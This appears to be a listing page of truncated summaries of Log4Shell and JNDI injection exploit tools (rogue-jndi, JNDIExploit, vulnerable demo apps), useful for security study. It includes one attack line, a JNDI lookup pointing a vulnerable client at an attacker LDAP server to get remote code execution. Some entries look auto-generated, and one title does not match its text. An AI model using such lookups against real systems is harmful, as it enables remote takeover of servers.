CVE-2021-44228-poc

Log4Shell sample vulnerable application CVE-2021-44228 This is an almost copy/similar vulnerable application to https://github.com/christophetd/log4shell-vulnerable-app The main differences are maven instead of gradle, and the usage of rogue-jndi. This repository contains a maven Spring Boot web...

rogue-jndi

Rogue JNDI 一个用于 JNDI 注入攻击的恶意 LDAP 服务器。 描述 该项目包含用于利用不安全的默认 Java JNDI API 的 LDAP 和 HTTP 服务器。 为了执行攻击，你可以在本地启动这些服务器，然后在存在漏洞的客户端上触发 JNDI 解析，例如： root@kitploit: InitialContext.doLookup"ldap://yourserver.com:1389/o=reference"; 这将从存在漏洞的客户端发起一个到本地 LDAP 服务器的连接。然后，本地服务器会响应一个包含其中一个 payload 的恶意条目，该条目可用于实现远程代码执...

JNDIExploit

This is a Java-based exploit tool for JNDI Java Naming and Directory Interface injection vulnerabilities. The tool is designed to inject a payload into the JNDI repository, allowing an attacker to execute arbitrary code on the target system. The tool is based on the Rogue JNDI project and support...

Exploit for CVE-2019-2423

This is a malicious LDAP server for JNDI injection attacks, classified as an exploit module/toolkit targeting Java JNDI API. The primary CVE ID is not explicitly mentioned, but the tool is designed to exploit insecure-by-default Java JNDI API, which is related to CVE-2019-2423. The tool targets...

Exploit for Uncontrolled Resource Consumption in Siemens 6Bk1602-0Aa12-0Tp0_Firmware

CVE-2021-44228-docker-example A simple demonstration of CVE-2...